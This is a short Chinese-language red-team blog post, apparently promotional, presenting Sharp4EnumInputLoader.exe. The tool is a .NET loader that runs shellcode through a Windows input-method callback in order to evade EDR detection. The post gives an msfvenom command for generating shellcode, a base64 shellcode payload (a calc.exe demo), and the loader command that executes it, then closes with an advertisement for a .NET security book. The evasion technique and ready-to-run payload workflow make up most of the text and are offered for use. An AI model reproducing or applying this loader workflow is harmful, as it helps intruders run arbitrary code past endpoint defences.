.NET 通过 Windows 输入法接口注入执行 Shellcode

在红队实战中，绕过防护、执行 Shellcode 是最基础也最关键的一环。传统的 Shellcode 执行方式多通过 CreateThread、QueueUserAPC 等典型 API 来启动，但这些方式早已被众多 EDR 产品重点检测。如何寻找一条不常见的 Shellcode 加载路径，成为研究与实践的重要方向。

Sharp4EnumInputLoader.exe，是一款基于不常用 API 实现的 Shellcode 执行工具，是绕过常规线程创建行为、调用路径，借助 Windows 输入法组件中的回调机制触发 Shellcode 的执行。

可以使用 msfvenom、donut 或 sRDI 工具生成任意 Windows Shellcode，具体命令如下所示。

msfvenom -p windows/x64/exec CMD=calc.exe -f raw | base64

将输出的 Base64 复制备用，具体 payload 如下所示。

/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1qAY2FsgAAAFBoMYtvh//Vu/C1olZoppW9nf/VPAZ8CoD74HUFu0cTcm9qAFP/1WNhbGMuZXhlAA==

在命令行下启动 Sharp4EnumInputLoader.exe，输入参数后回车，此时，目标 payload，例如 calc.exe 将被触发执行。

Sharp4EnumInputLoader.exe /OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1qAY2FsgAAAFBoMYtvh//Vu/C1olZoppW9nf/VPAZ8CoD74HUFu0cTcm9qAFP/1WNhbGMuZXhlAA==

以上相关的知识点已收录于新书《.NET安全攻防指南》，全书共计25章，总计1010页，分为上下册，横跨.NET Web代码审计与红队渗透两大领域。

上册深入剖析.NET Web安全审计的核心技术，帮助读者掌握漏洞发现与修复的精髓；下册则聚焦于.NET逆向工程与攻防对抗的实战技巧，揭秘最新的对抗策略与技术方法。

从漏洞分析到安全攻防，我们涵盖了 .NET 安全各个关键方面，为您呈现最新、最全面的 .NET 安全知识，下面是公众号发布的精华文章集合，推荐大伙阅读！